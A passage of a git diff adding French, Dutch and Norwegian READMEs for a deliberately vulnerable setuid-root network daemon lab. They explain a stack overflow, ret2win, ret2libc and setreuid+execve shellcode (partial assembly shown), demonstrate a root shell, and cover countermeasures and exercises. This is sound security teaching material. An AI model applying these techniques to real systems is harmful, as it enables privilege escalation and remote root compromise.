réinitialise `euid = ruid` au démarrage. La commande injectée s'exécute avec l'uid *réel*. (C'est toujours un bug ; ça n'escalade juste plus via `/bin/sh`.) | +| Shell root setuid sur disque (`cp /bin/sh /tmp; chmod u+s`) | « Exécute-le, obtiens root. » | Exactement la défense ci-dessus, et c'est pourquoi les distros modernes ne livrent aucun shell root setuid. Même si vous réussissez à en fabriquer un, bash refuse de garder euid 0 sauf s'il est lancé avec `-p`. | + +Ce qui reste vivant, et c'est ce lab : **le programme est *déjà* root quand il +tourne.** Vous n'avez besoin ni de l'environnement ni de `system()` ; vous avez +besoin que le programme exécute *votre* code (via un bug de corruption +mémoire) pendant qu'il est privilégié, et que votre code soit assez soigneux +pour corriger lui-même le mismatch d'uid — `setreuid(0,0)` — avant de vous +tendre un shell. Corruption mémoire + SUID est la combinaison qui finit encore +en `uid=0`, et c'est exactement pourquoi les langages sûrs en mémoire, les +canaries et les piles no-execute ne sont pas une décision de mode. + +--- + +## 7. Les garde-fous intégrés au démon + +`foosd` est volontairement le *pire* morceau de logiciel de ce dépôt, alors il +porte aussi le plus de garde-fous : + +1. **Loopback seulement, imposé.** `foosd` refuse toute adresse de bind hors + loopback, sauf si vous passez `-L`. Un listener setuid-root sur une vraie + interface est un service root distant ; le refus est la valeur par défaut, + pour que l'état dangereux doive être tapé délibérément. +2. **Autodiagnostic.** Au démarrage, il journalise `ruid`/`euid` et s'il + tourne en root, pour que la console montre l'état dont dépend l'exploit. +3. **Le log n'atteint jamais le client.** Le démon réserve un descripteur de + log privé avant que les sockets ne remplacent fd 1, pour que la sortie du + crash-reporter et les chemins internes ne puissent pas être relus sur le + fil par l'attaquant. +4. **Crash-reporter.** Un handler SIGSEGV journalise `RIP`/`RSP` — la valeur + que l'attaquant a écrite dans l'adresse de retour — pour qu'une prise de + contrôle réussie soit visible dans `foosd.log` au lieu d'être une mort + silencieuse. +5. **`make unsetuid`.** Retirer le bit est scripté, parce que le laisser posé + est le mode d'échec que les gens ont réellement. + +--- + +## 8. Contre-mesures — ce que chacune arrête et ce qu'elle *n'arrête pas* + +Appliquées à `foosd` via `make hardened`, une par une ou ensemble : + +| Contre-mesure | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | Le débordement : `ret` détecte une canary écrasée et abort avant que l'adresse de l'attaquant soit utilisée. Arrête ici **les quatre** techniques — elles partagent le même `read()` vulnérable. | Rien par *conception* : le binaire est toujours setuid-root ; un autre bug (format-string-`%n`, heap-overflow, use-after-free) n'a pas de canary à déclencher. | +| `-fPIE -pie` (ASLR pour le binaire) | L'utilisation d'adresses `win()`/`win_root()` prévisibles (les techniques ret2win). | La technique shellcode, si une adresse de pile fuite encore (ligne `BUF=`). | +| `-z noexecstack` (NX / W^X) | La shellcode : le CPU refuse de chercher des instructions sur une page data-only, donc un saut vers `buf` est un SIGSEGV. | ROP — exécuter du code qui existe déjà (`ret2libc`). | +| Les trois ensemble | Un binaire difficile à déborder, randomisé, avec une pile non exécutable. Voilà à quoi ressemble une build durcie normale. | Le bit setuid. **Un binaire SUID durci reste un binaire SUID.** S'il survit un bug mémoire atteignable, c'est toujours « bug dans un processus root ». | + +La preuve console, c'est `make test-hardened`, qui échange la build durcie et +montre les techniques mourir à la canary, pendant que `foosd_hardened.log` +capture `*** stack smashing detected ***`. + +Deux contre-mesures de niveau conception, qu'aucun flag de compilateur ne +fournit, et que le lab principal (`food`) utilise aussi : + +- **Moindre privilège.** Un démon pour un port non privilégié (2343 > 1024) + n'a aucun besoin légitime de root. Un `foosd` correct lierait puis ferait + `setgroups`/`setgid`/`setuid` vers un compte non privilégié et *confirmerait + que ça a tenu* (la version correcte est dans la source sous le nom de + `drop_privs()`, jamais appelée — le non-appel est le bug n° 3 du lab). +- **Limitez le read.** `n = read(fd, buf, sizeof(buf) - 1)`. Une ligne correcte + surpasse tous les flags de compilateur du tableau. + +--- + +## 9. Le protocole filaire (pour que vous puissiez lire le démon avec netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — ne pouvait pas être affiché comme `euid=`/`ruid=`, parce + que la harnesse de test prouve un shell en grepant le `uid=` littéral, et le + banner ne doit pas le contenir (une sonde qui partage la signature de la + réponse est un piège classique de faux positif ; voir le commentaire dans + `foosd.c`). La harnesse exige en outre la forme stricte de sortie `id` — + `uid=NNN(...)` — pour que rien de ce que le démon ou l'exploit affiche ne + puisse satisfaire le contrôle par accident : le propre « target euid=… ruid=… » + de `foosc` contient `uid=` comme sous-chaîne, ce qui a un jour fait + rapporter à un test durci un shell qui n'avait jamais tourné. +* `stack=`, `libc=`, `BUF=` — les fuites ASLR : elles permettent à la + shellcode et à ret2libc de calculer des adresses exactes. + +--- + +## 10. Exercices + +1. **Considérez la descente non-root.** Lancez `make test` *avant* `make + setuid`, puis encore après. Expliquez le passage à `ROOT=SEEN` avec + l'histoire ruid/euid de la §5.2. +2. **Lisez le crash.** Lancez `./foosc -t demo -n` puis lisez `foosd.log`. + La ligne `RIP=0x4141414141414141` est le bourrage de l'attaquant — la + preuve que c'est le débordement, pas le hasard, qui contrôle l'exécution. +3. **Ajoutez la canary.** `make hardened` et modifiez vous-même la boucle + `test-hardened` ; la ligne de log `*** stack smashing detected ***` est la + défense qui fonctionne. +4. **Désactivez la fuite.** Commentez la ligne `BUF=` dans `foosd.c`, recompilez + et voyez `-t shellcode` passer de déterministe à jeu de devinettes. Cette + seule ligne est la raison pour laquelle les vrais bypass d'ASLR sont tout un + domaine. +5. **L'expérience `-p`.** Dans une copie de `win()`, changez `execl("/bin/sh", + "sh", NULL)` en `execl("/bin/sh", "sh", "-p", NULL)` et observez root. `-p` + est la sortie de secours documentée du gardien du shell — et la raison pour + laquelle le conseil « spawn juste un shell » des vieux write-ups est + incomplet. +6. **Pourquoi pas `setuid(0)` ?** Réécrivez la shellcode pour appeler + `setuid(0)` au lieu de `setreuid(0,0)` (syscall 105). Le shell atterrit + quand même — et retombe quand même à `uid=1000`. C'est l'expérience d'une + seule ligne la plus instructive de tout le dépôt. + +--- + +## 11. Sécurité et nettoyage + +- Loopback uniquement, par défaut et par conception ; `-L` lie plus loin, et + seule une VM bonne à jeter devrait même l'envisager. +- C'est un lab de shell root. Ne le faites pas tourner sur une machine qui + compte, et ne pointez pas `foosc -h` vers quelque chose que vous ne possédez + pas. +- Rituel de nettoyage : `make stop` puis `make unsetuid`, et si vous voulez + l'arborescence impeccable à nouveau : `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.NL.md b/suid/README.NL.md new file mode 100644 index 0000000..6fe1fd7 --- /dev/null +++ b/suid/README.NL.md @@ -0,0 +1,398 @@ +# SUID-root-RCE-lab — `foosd` (daemon) + `foosc` (exploit) + +Een begeleider van het hoofdlaboratorium (`food` / `fooc`, een gewone daemon +waar een bufferoverloop je een *gebruiker*-shell geeft). Dit voegt de +gevaarlijkste wijziging van één teken in Unix toe: **de setuid-bit**. + +> `chmod u+s` verandert "de aanvaller kan code draaien op deze host" in "de +> aanvaller kan code draaien als **root** op deze host". + +Die zin is het hele lab. Alles hieronder is het mechanisme eronder, +opgeschreven, zodat je wanneer je je eigen software schrijft precies weet welke +twee of drie bestandssysteem-attributen en compilerflags bepalen of een +geheugenveiligheidsbug in jouw code een ergernis of een root-shell is. + +De uiteindelijke demo, wanneer `foosd` setuid-root is, is een **root-shell** +die over het netwerk wordt geopend door 32 bytes handgeschreven shellcode uit +te voeren. + +--- + +## 1. Wat de setuid-bit daadwerkelijk doet + +Elk proces op Linux draagt drie user-ID's, en de setuid-bit rommelt aan de +verhouding ertussen: + +| ID | Naam | Betekenis | +|----|------|---------| +| `ruid` | reële user-ID | de account die het proces *startte* | +| `euid` | effectieve user-ID | wat de kernel controleert wanneer hij toegang handhaaft | +| (saved) | opgeslagen set-user-ID | een "spoor" waarnaar een bevoorrecht proces later kan terugkeren | + +Een normaal programma heeft `ruid == euid`. Wanneer je een binair bestand +uitvoert met de setuid-bit gezet, eigendom van root: + +```text +ruid = jij (bijv. 1000, "hanez") +euid = de eigenaar (bijv. 0, "root") +``` + +Het proces heeft dus **roots autoriteit**, ook al is de gebruiker die het +startte volkomen gewoon. Elke controle die de kernel uitvoert — kan dit proces +`/etc/shadow` lezen? een bestand schrijven? een ander proces doden? — wordt +beantwoord met `euid`, dus "ja, het is root". + +`foosd` is een netwerkdaemon. Hij bindt een poort en `fork()`t daarna een kind +per verbinding. Een fork *erft* de euid, dus elk kind dat een verbinding +afhandelt, is ook root. De overloop in `foosd`s `vulnerable_handler()` is +daarom een overloop *binnenin een root-proces*. + +**Diagnosticeer het zelf wanneer de daemon draait:** + +```console +$ ./foosd ... # zie de logregel die hij bij de start print +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +en vanuit het exploit: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Het lab in één oogopslag + +| Bestand | Rol | +|------|------| +| `foosd.c` | De bewust kwetsbare daemon (eigenaar van de bugs). Draai als *setuid-root*-binary voor de root-shell-demo. | +| `foosc.c` | Het exploit. Gebruikt standaard de 32-byte `setreuid + execve`-shellcodetechniek. | +| `shellcode.S` | De referentie-shellcode; `make verify` diff't het tegen de byte-array in `foosc.c`. | +| `tests/pty_suid_test.c` | Test-harness. Drijft `foosc` door een pseudo-terminal en bewijst zowel "er draaide een shell" *als* "die was root" (`uid=0(`). | +| `Makefile` | Build, `setuid`/`unsetuid`-helpers, testmatrix. | +| `README.md` | Dit bestand. | + +> **Waarom een pty?** De laatste actie van het exploit is je terminal +> doorschakelen naar de shell die op het slachtoffer draait. Een pipe of +> here-doc komt aan de verkeerde kant van die doorschakeling terecht; een echte +> terminal is vereist. + +--- + +## 3. Snelle start + +```console +$ make # bouw alles, als je normale gebruiker +$ make setuid # één keer, vraagt om sudo: chown root + chmod u+s +$ make run # start foosd op 127.0.0.1:2343 +$ make test-suid # volledige matrix; shellcode + ret2win-root moeten root geven +``` + +Interactieve rooktest: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- je bent root, op het slachtoffer +# exit +``` + +Wanneer je klaar bent: + +```console +$ make stop +$ make unsetuid # hygiëne: laat nooit een root-SUID-binary achter +``` + +--- + +## 4. *Wanneer moet ik de SUID-bit zetten?* — het antwoord dat je vroeg + +Precies **één keer, na het bouwen, vóór je de daemon start voor de +root-shell-demo's** — en alleen op een machine die van jou is, geschikt om weg +te gooien en losgekoppeld van het netwerk: + +```console +$ make # compileer foosd, foosc, tests +$ make setuid # <-- HET MOMENT. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # start NÁ het zetten van de bit +``` + +Twee regels die belangrijker zijn dan het precieze tijdstip: + +1. **Zet hem alleen als de binary klaar is.** Als je herbouwt (`make` / + `make clean`) nadat je de bit hebt gezet, krijg je een "Permission denied" + bij het schrijven van root-bezeten outputbestanden — en als je de herbouw + forceert, herschept de toolchain het bestand **zonder** de `s` en maak je de + opzet stilletjes ongedaan. De canonieke volgorde bij elke herbouw is daarom + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Haal hem weg als je klaar bent.** `make unsetuid`. Een levende, + root-bezeten setuid-binary met een exploiteerbare bug in je boom is geen + leermiddel, het is een root-gat met een compilerfout tussen zichzelf en + niets. Op een gedeelde of productiemachine: **doe niets van dit alles.** De + daemon weigert bovendien standaard iets anders dan loopback te binden (zie + §7). + +Als je het exploit *zonder* ooit de bit te zetten draait, gaat er niets +kapot — de payload landt nog steeds, en je krijgt nog steeds een shell. Het +verschil zit in één getal, en het exploit zegt het hardop: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +Het "werkte, maar niet root"-resultaat is zelf onderdeel van het lab. Onthoud +dat voor de volgende sectie. + +--- + +## 5. Het mechanisme — en de twist die SUID interessant maakt + +### 5.1 De overloop (identiek aan `food`) + +De handler van `foosd` geeft een `read()` 512 bytes vertrouwen terwijl hij er +een 64-byte stack-buffer aan reikt: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over de rand */ +``` + +Op x86-64 groeit de stack naar beneden. Het exploit schrijft 64 bytes rommel +om `buf` te vullen, 8 om de opgeslagen framepointer te vullen en nog 8 om de +**opgeslagen retouradres** te vervangen. Wanneer `vulnerable_handler` de `ret` +uitvoert, poppt de CPU de waarde van de aanvaller in `RIP` — +aanvaller-gecontroleerde code-uitvoering. Het exploit vindt de exacte afstand +(88 bytes voor deze build) door `objdump`-output te parsen in plaats van die te +hardcoden, zodat het getal herbouwen overleeft. + +### 5.2 De twist: de shell weigert root te zijn + +Hier is waar "SUID-bug → spawn /bin/sh → root" fout zou gaan, en waarom dit lab +precies de vorm heeft die het heeft. + +Wanneer een setuid-root-programma draait, is zijn `ruid` nog steeds de +startende gebruiker en is zijn `euid` root. Als het programma — of de aanvaller +— nu een shell start: + +* `execve("/bin/sh")` verandert de uids **niet**; het nieuwe proces erft + `(ruid=1000, euid=0)`. +* bash (en dash) **controleert die exacte toestand bij de start**. Uit de + bash-handleiding: *"If the shell is started with the effective user (group) + id not equal to the real user (group) id, and the -p option is not supplied, + … the effective user id is set to the real user id."* + +Dus de shell kijkt naar zichzelf en *laat root vallen* — een verdediging die de +shell-auteurs precies tegen dit aanval bouwden (de historische reden was het +setuid-shell-/setuid-scriptprobleem). Het resultaat is de "werkte, maar niet +root"-gevallen: + +| Techniek | Wat hij uitvoert | Resulterende uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landde, root gereset door bash | +| `ret2libc` | `system("/bin/sh")` → verse `sh -c '/bin/sh'` | **1000** — dezelfde reset, één niveau lager | +| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid opgeruimd vanuit C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid opgeruimd vanuit machinecode | + +Degene die root bereiken, verschillen van degene die dat niet doen in precies +één idee: **ze ruimen de *reële* uid op, niet alleen de effectieve.** + +```c +setuid(0) /* zet euid op 0, maar ruid blijft 1000: + bash ziet nog steeds euid != ruid en reset NOG STEEDS. */ +setreuid(0, 0) /* zet BEIDE: ruid = euid = 0. + bash ziet gelijke uids en houdt root. */ +``` + +Daarom begint de klassieke `/bin/sh`-shellcode die je overal op internet vindt +met een uid-opruimend syscall — en daarom is de shellcode hier 32 bytes in +plaats van 23: de eerste vijf instructies zijn + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Dus wat is het exploit, van begin tot eind? + +1. `foosc` leest het banner van `foosd` over de socket. Het krijgt: + - `ids=0/1000` — euid/ruid (de SUID-zelfdiagnose) + - `stack=…` en `libc=…` — pointers (de ASLR-leaks) + - `BUF=…` — het exacte adres van de buffer die het op het punt staat te + laten overlopen +2. Uit de doel-binary (via `objdump`) leert het `rip_off` en de adressen van + `win()` / `win_root()`. +3. Uit *zijn eigen* libc (via `/proc/self/maps` + `dlsym` + een geheugenscan) + meet het de offsets van `system`, `read`, `/bin/sh` en een + `pop rdi; ret`-gadget — niets is hardcoded. +4. Het stelt de payload samen. Voor `-t shellcode` is dat: + `[32-byte-setreuid+execve-code][padding tot RIP][ret-fix][adres van buf]`. +5. `foosd`s `read()` loopt over; de `ret` landt op de shellcode; de kernel + voert `setreuid(0,0)` uit (geen probleem: euid 0 is bevoorrecht) en daarna + `execve` van `/bin/sh`. bash start met `ruid == euid == 0` en blijft root. +6. `foosc` schakelt je terminal door naar die root-shell, tot je `exit` typt. + +Eén gemakdetail dat mensen veel tijd kost als het wordt gemist: het exploit +test elk uid-opruimgedrag **zonder** eerst de setuid-bit nodig te hebben. Draai +`make test` vóór `make setuid`, en je ziet elke techniek een shell landen terwijl +`ROOT=MISSING` staat; draai `make test-suid` ná `make setuid`, en `ROOT=SEEN` +verschijnt bij de twee technieken die de reële uid opruimen. Die A/B is de hele +les, in tien seconden uitgevoerd. + +--- + +## 6. De oude one-liners — en waarom de meeste dood zijn + +Heb je over SUID gelezen, dan heb je over `PATH`-kapingen, `LD_PRELOAD` en +setuid-shells gelezen. Alle drie zijn klassiek, en alle drie falen op een +modern systeem tegen *dit programma*. Het is de moeite waard om precies te +weten waarom, want de redenen zijn de verdedigingen die je gratis krijgt: + +| Aanvalsklasse | Oude bewering | Waarom hij faalt op een moderne machine | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` van een kwaadaardige bibliotheek | "Het setuid-programma laadt mijn `.so` en draait mijn code als root." | De kernel markeert een setuid-binary als **AT_SECURE**; glibc negeert daarna `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` en vrienden. De omgeving wordt behandeld als *onbetrouwbare input*. `LD_PRELOAD` tegen een setuid-binary is een no-op. | +| `PATH`-kaping (`system("ls")` met een vergiftigde PATH) | "Wijs PATH naar een map met mijn neppe `ls`; het root-programma draait hem." | Een ander gezicht van hetzelfde verdedigingen: een AT_SECURE-proces krijgt een **gesaneerde `PATH`** (een veilige standaard, grofweg `/usr/local/bin:/usr/bin:/bin`) voor `system()`/`execvp`, dus de vergiftigde map wordt nooit geraadpleegd. | +| Setuid-`system()`-commando-injectie | "Het geïnjecteerde commando draait met euid 0." | `system()` draait het commando in een verse `/bin/sh`, en die shell — §5.2 — reset `euid = ruid` bij de start. Het geïnjecteerde commando wordt uitgevoerd met de *reële* uid. (Het blijft een bug; het escaleert alleen niet meer via `/bin/sh`.) | +| Setuid-root-shell op de schijf (`cp /bin/sh /tmp; chmod u+s`) | "Draai hem, krijg root." | Precies wat hierboven verdedigd wordt, en dat is waarom moderne distro's geen enkele setuid-root-shell leveren. Zelfs als je er één kunt maken, weigert bash euid 0 te houden tenzij hij met `-p` wordt gestart. | + +Wat blijft leven, en dat is dit lab: **het programma is *al* root wanneer het +draait.** Je hebt de omgeving of `system()` niet nodig; je hebt nodig dat het +programma *jouw* code uitvoert (via een geheugenbeschadigingsbug) terwijl het +bevoorrecht is, en dat jouw code zorgvuldig genoeg is om zelf de uid-mismatch +recht te zetten — `setreuid(0,0)` — voordat het je een shell overhandigt. +Geheugenbeschadiging + SUID is de combinatie die nog steeds in `uid=0` eindigt, +en dat is precies waarom geheugenveilige talen, canaries en no-execute-stacks +geen modebeslissing zijn. + +--- + +## 7. De veiligheidsheurlingen die in de daemon zijn ingebouwd + +`foosd` is bewust het *slechtste* stuk software in dit repository, dus het +draagt ook de meeste leuningen: + +1. **Alleen loopback, afgedwongen.** `foosd` weigert elke bind-adres buiten + loopback, tenzij je `-L` geeft. Een setuid-root-listener op een echte + interface is een externe root-dienst; de weigering is de standaard, zodat de + gevaarlijke toestand bewust moet worden ingetypt. +2. **Zelfdiagnose.** Bij de start logt hij `ruid`/`euid` en of hij als root + draait, zodat de console de toestand toont waarvan het exploit afhangt. +3. **De log bereikt de client nooit.** De daemon reserveert een privé + log-descriptor vóór sockets fd 1 vervangen, zodat crash-reporter-output en + interne paden niet door de aanvaller over de draad teruggelezen kunnen + worden. +4. **Crash-reporter.** Een SIGSEGV-handler logt `RIP`/`RSP` — de waarde die de + aanvaller in het retouradres schreef — zodat een succesvolle overname + zichtbaar is in `foosd.log` in plaats van een stille dood. +5. **`make unsetuid`.** Het verwijderen van de bit is gescript, omdat hem laten + staan de faaltoestand is die mensen daadwerkelijk hebben. + +--- + +## 8. Tegenmaatregelen — wat elke stopt en wat hij *niet* stopt + +Toegepast op `foosd` via `make hardened`, één voor één of samen: + +| Tegenmaatregel | Wat hij stopt | Wat hij *niet* stopt | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | De overloop: `ret` detecteert een beschadigde canary en aborted vóór het adres van de aanvaller wordt gebruikt. Stopt hier **alle vier** de technieken — ze delen het ene kwetsbare `read()`. | Niets aan *het ontwerp*: de binary is nog steeds setuid-root; een andere bug (format-string-`%n`, heap-overflow, use-after-free) heeft geen canary om af te laten gaan. | +| `-fPIE -pie` (ASLR voor de binary) | Gebruik van voorspelbare `win()`/`win_root()`-adressen (de ret2win-technieken). | De shellcode-techniek, als er nog een stack-adres lekt (`BUF=`-regel). | +| `-z noexecstack` (NX / W^X) | De shellcode: de CPU weigert instructies op te halen van een data-only-pagina, dus een sprong naar `buf` is een SIGSEGV. | ROP — code draaien die al bestaat (`ret2libc`). | +| Alle drie samen | Een moeilijk-te-laten-overlopen, gerandomiseerde binary met een niet-uitvoerbare stack. Zo ziet een normale geharde build eruit. | De setuid-bit. **Een geharde SUID-binary is nog steeds een SUID-binary.** Overleeft er een bereikbare geheugenveiligheidsbug, dan is het nog steeds "bug in een root-proces". | + +Het consolebewijs is `make test-hardened`, dat de geharde build inwisselt en +laat zien hoe alle technieken bij de canary sterven, terwijl +`foosd_hardened.log` `*** stack smashing detected ***` opvangt. + +Twee tegenmaatregelen op ontwerpniveau die geen enkele compilerflag levert, en +die het hoofdlaboratorium (`food`) ook gebruikt: + +- **Minste privilege.** Een daemon voor een onbevoordeelde poort (2343 > 1024) + heeft geen legitieme behoefte aan root. Een correcte `foosd` zou binden en + daarna `setgroups`/`setgid`/`setuid` naar een onbevoorrechte account en + *bevestigen dat het hield* (de correcte versie staat in de bron als + `drop_privs()`, nooit aangeroepen — het niet-aanroepen is bug nr. 3 van het + lab). +- **Beperk de read.** `n = read(fd, buf, sizeof(buf) - 1)`. Eén correcte regel + overtreft elke compilerflag in de tabel. + +--- + +## 9. Het wire-protocol (zodat je de daemon met netcat kunt lezen) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — kon niet als `euid=`/`ruid=` geprint worden, omdat de + test-harness een shell bewijst door op het letterlijke `uid=` te greppen, en + het banner mag dat niet bevatten (een sonde die de handtekening met het + antwoord deelt, is een klassieke fout-positief- val; zie de commentaar in + `foosd.c`). De harness vereist bovendien de strikte `id`-outputvorm — + `uid=NNN(...)` — zodat niets wat de daemon of het exploit print het aan + toeval kan laten voldoen: `foosc`s eigen "target euid=… ruid=…" bevat `uid=` + als deelstring, wat ooit een geharde test een shell liet melden die nooit had + gedraaid. +* `stack=`, `libc=`, `BUF=` — de ASLR-leaks: laten shellcode en ret2libc exacte + adressen berekenen. + +--- + +## 10. Oefeningen + +1. **Beschouw de niet-root-degradatie.** Draai `make test` *vóór* `make + setuid`, en daarna nog eens achteraf. Verklaar de `ROOT=SEEN`-verandering + met het ruid/euid-verhaal in §5.2. +2. **Lees de crash.** Draai `./foosc -t demo -n` en lees daarna `foosd.log`. + De regel `RIP=0x4141414141414141` is de padding van de aanvaller — het bewijs + dat de overloop, niet toeval, de uitvoering bestuurt. +3. **Voeg de canary toe.** `make hardened` en verander zelf de + `test-hardened`-lus; de logregel `*** stack smashing detected ***` is de + verdediging die werkt. +4. **Schakel het lek uit.** Commentaar de `BUF=`-regel in `foosd.c` uit, bouw + opnieuw, en zie `-t shellcode` van deterministisch naar een raadspel + veranderen. Die ene regel is de reden dat echte ASLR-bypasses een heel veld + zijn. +5. **Het `-p`-experiment.** Verander in een kopie van `win()` + `execl("/bin/sh", "sh", NULL)` naar `execl("/bin/sh", "sh", "-p", NULL)` en + observeer root. `-p` is de gedocumenteerde nooduitgang uit de wacht van de + shell — en de reden dat het advies "spawn gewoon een shell" uit oude + write-ups onvolledig is. +6. **Waarom niet `setuid(0)`?** Herschrijf de shellcode om `setuid(0)` te + roepen in plaats van `setreuid(0,0)` (syscall 105). De shell landt nog + steeds — en zakt nog steeds naar `uid=1000`. Dat is het meest leerzame + één-regel-experiment van het hele repository. + +--- + +## 11. Veiligheid en opruimen + +- Alleen loopback, als standaard en volgens ontwerp; `-L` bindt verder, en + alleen een weg-te-gooien-VM zou het überhaupt moeten overwegen. +- Dit is een root-shell-lab. Draai het niet op een machine die ertoe doet, en + richt `foosc -h` niet op iets dat je niet bezit. +- Opruimritueel: `make stop` en daarna `make unsetuid`, en als je de boom weer + vlekkeloos wilt: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.NO.md b/suid/README.NO.md new file mode 100644 index 0000000..49021dc --- /dev/null +++ b/suid/README.NO.md @@ -0,0 +1,387 @@ +# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit) + +En ledsager til hovedlaboratoriet (`food` / `fooc`, en vanlig daemon der et +bufferoverløp gir deg en *bruker*-shell). Dette legger til den farligste +én-tegns-endringen i Unix: **setuid-biten**. + +> `chmod u+s` forvandler «angriperen kan kjøre kode på denne verten» til +> «angriperen kan kjøre kode som **root** på denne verten». + +Den setningen er hele laboratoriet. Alt nedenfor er mekanismen under den, skrevet +ned, slik at du når du skriver din egen programvare, vet nøyaktig hvilke to eller +tre filsystem-attributter og kompilator-flag som avgjør om en +minnesikkerhetsfeil i koden din er en irritasjon eller en root-shell. + +Den endelige demoen, når `foosd` er setuid-root, er en **root-shell** som åpnes +over nettverket ved å utføre 32 bytes håndskrevet shellcode. + +--- + +## 1. Hva setuid-biten faktisk gjør + +Hver prosess på Linux bærer tre user-ID-er, og setuid-biten tukler med forholdet +mellom dem: + +| ID | Navn | Betydning | +|----|------|---------| +| `ruid` | reell user-ID | kontoen som *startet* prosessen | +| `euid` | effektiv user-ID | det kjernen sjekker når den håndhever tilgang | +| (saved) | lagret set-user-ID | en «sporplass» en privilegert prosess kan vende tilbake til senere | + +Et vanlig program har `ruid == euid`. Når du kjører en binærfil med +setuid-biten satt, eid av root: + +```text +ruid = deg (f.eks. 1000, «hanez») +euid = eieren (f.eks. 0, «root») +``` + +Prosessen har derfor **roots autoritet**, selv om brukeren som startet den er +helt vanlig. Hvert sjekkpunkt kjernen utfører — kan denne prosessen lese +`/etc/shadow`? skrive en fil? drepe en annen prosess? — besvares med `euid`, +altså «ja, den er root». + +`foosd` er en nettverksdaemon. Den binder en port og `fork()`er deretter et +barn per tilkobling. En fork *arver* euid-en, så hvert barn som håndterer en +tilkobling er også root. Overløpet i `foosd`s `vulnerable_handler()` er derfor +et overløp *inne i en root-prosess*. + +**Diagnostiser det selv når daemonen kjører:** + +```console +$ ./foosd ... # se logglinjen den skriver ut ved start +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +og fra exploitet: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Laboratoriet ved første øyekast + +| Fil | Rolle | +|------|------| +| `foosd.c` | Den bevisst sårbare daemonen (eier feilene). Kjør som *setuid-root*-binærfil for root-shell-demoen. | +| `foosc.c` | Exploitet. Bruker som standard den 32-byte `setreuid + execve`-shellcode-teknikken. | +| `shellcode.S` | Referanse-shellcoden; `make verify` diff'er den mot byte-arrayen i `foosc.c`. | +| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gjennom et pseudo-terminal og beviser både «en shell kjørte» *og* «den var root» (`uid=0(`). | +| `Makefile` | Bygg, `setuid`/`unsetuid`-hjelpere, testmatrise. | +| `README.md` | Denne filen. | + +> **Hvorfor en pty?** Exploitets siste handling er å videresende terminalen din +> til shellen som kjører på offeret. En pipe eller her-doc havner i feil ende av +> den videresendingen; en ekte terminal er påkrevd. + +--- + +## 3. Rask start + +```console +$ make # bygg alt, som din vanlige bruker +$ make setuid # én gang, spør om sudo: chown root + chmod u+s +$ make run # start foosd på 127.0.0.1:2343 +$ make test-suid # full matrise; shellcode + ret2win-root skal gi root +``` + +Interaktiv røykprøve: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret +# exit +``` + +Når du er ferdig: + +```console +$ make stop +$ make unsetuid # hygiene: etterlat aldri en root-SUID-binærfil +``` + +--- + +## 4. *Når skal jeg sette SUID-biten?* — svaret du ba om + +Nøyaktig **én gang, etter byggingen, før du starter daemonen for +root-shell-demoene** — og bare på en maskin som er din, egnet til å kastes og +frakoblet nettverket: + +```console +$ make # kompiler foosd, foosc, tester +$ make setuid # <-- ØYEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # start ETTER at du har satt biten +``` + +To regler som betyr mer enn det nøyaktige tidspunktet: + +1. **Sett den bare når binærfilen er ferdig.** Hvis du bygger om (`make` / + `make clean`) etter at du har satt biten, treffer du «Permission denied» når + du skriver root-eide utdatafiler — og hvis du tvinger ombyggingen, gjenskaper + verktøykjeden filen **uten** `s`-en og angrer stille og rolig oppsettet. Den + kanoniske rekkefølgen ved enhver ombygging er derfor + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Fjern den når du er ferdig.** `make unsetuid`. En levende, + root-eid setuid-binærfil med en utnyttbar feil i treet ditt er ikke et + læremiddel, det er et root-hull med en kompileringsfeil mellom seg og + ingenting. På en delt eller produksjonsmaskin: **ikke gjør noe av dette.** + Daemonen nekter dessuten som standard å binde noe annet enn loopback (se §7). + +Hvis du kjører exploitet *uten* noen gang å sette biten, går ingenting i stykker +— payloaden lander fortsatt, og du får fortsatt en shell. Forskjellen er i ett +tall, og exploitet sier det høyt: + +```console 